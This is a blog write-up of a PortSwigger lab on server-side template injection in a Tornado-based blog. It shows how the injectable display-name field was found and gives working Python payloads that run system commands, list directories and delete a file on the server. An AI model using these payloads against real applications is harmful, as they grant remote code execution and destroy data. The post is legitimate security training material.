Time for the second blog post as in regards to Server-Side Template Injection. This next lab goes a little deeper than the first. For the first lab, all we had to do was identify where a template may be in use, fuzz it (or read the lab instructions), determine what type of template engine is be utilized, and then pass a payload through capable of deleting a file.
Let’s get rolling on the next lab from the PortSwigger Web Academy labs on the topic.
- SSTI – Basic server-side template injection
- >>SSTI – Basic server-side template injection (code context)<<
- SSTI – Server-side template injection using documentation
- SSTI – Server-side template injection in an unknown language with a documented exploit
- SSTI – Server-side template injection with information disclosure via user-supplied objects
- SSTI – Server-side template injection in a sandboxed environment
- SSTI – Server-side template injection with a custom exploit
NOTE – Links will light up as posts become available.
Lab: Basic server-side template injection (code context)
Should we read the lab instructions? Naw. Let’s just launch the lab, do some recon, and see if we can figure out where a template might be in use.
Lab: Basic server-side template injection (code context)
Step 1: Recon

This one is a blog. I see we have a few places to poke at – the account page (looks like the standard creds for these labs work here) and the view post button.
There’s a blog comment section that obviously reflects back the comment:

We also see the name of the account here. On the account page, we have the option to configure what gets reflected in the name field:

Changing these sets the name that gets reflected at the top of the post. This is interesting. I only have the option to change the email address (via the UI) but it doesn’t seem to be related to the name that gets reflected. Can we force the use of the email? Let’s capture the request and see if we can force use the email address.
Using Caido – capture the POST request via the HTTP History -> Send to Replay. What’s the name of the field representing the email address? Let’s try email:

Now, what happens when we try to view a blog post? Are we going to get the email address instead of the name, nickname, or first name?

Nope – it’s better. We broke it and we caused it to throw an unhandled error. This is gold – we’re using Tornado templates in Python. Now, we won’t even have to fuzz – we can go straight to tornado payloads.
We still need to figure out how to utilize them, though. After trying MULTIPLE ways to get the posts to utilize the email address, I decided to step back – how could this be even easier? What if we stuff a template injection directly into author display name (name, first name, nickname)?

And this yields:

Bam! – we have code execution.
Step 2: Read the instructions
What are we supposed to do with this lab? Turns out it is the same as the last – delete the morale.txt file within Carlos’s home directory. It is most likely located at /home/carlos/morale.txt, however, let’s explore the file system and march to the file.
Step 3: Explore
Back to PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#tornado—basic-injection
We have specific payloads for Tornado templates and SSTI.
{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}
Let’s run the first and see what we get:

We’ll have to import the OS module. Let’s tweak – rather than using this:
{%import os%}{{os.system('id')}}
Let’s try this:
{{ __import__('os').system('id') }}
The idea here is that {% import %}
is limited to importing Tornado templates. Doing a big of Googling suggests that __import__
works better because it allows for importing Python modules.

Gives us:

Yeah buddy – this is exactly what we want. We have code execution. Now, let’s try to read the filesystem:
{{ __import__('os').listdir('/') }}
Gives us:

So
{{ __import__('os').listdir('/home') }}
Gives us:

So
{{ __import__('os').listdir('/home/carlos') }}
Gives us:

There it is!
Step 4: Solve the lab
Let’s delete the file.
{{ __import__('os').remove('/home/carlos/morale.txt') }}
Gives me nothing – I returned to the blog post and it had {{None}} in the name. I refreshed the page and I got this:

Heh – the file is gone so now we have a Python error, however, the lab is solved!
Summary
In this lab, we explored a blog application vulnerable to Server-Side Template Injection (SSTI). By manipulating the author’s display name, we successfully injected a payload that led to code execution. Identifying the use of Tornado templates in Python was key to crafting the appropriate exploit. This emphasizes the importance of understanding the underlying template engine when assessing SSTI vulnerabilities.
- Look for unhandled errors—they often reveal the template engine in use.
- Try injecting payloads directly instead of manipulating preferred names.
- Once you confirm SSTI, craft payloads specific to the detected template engine.
Happy hacking!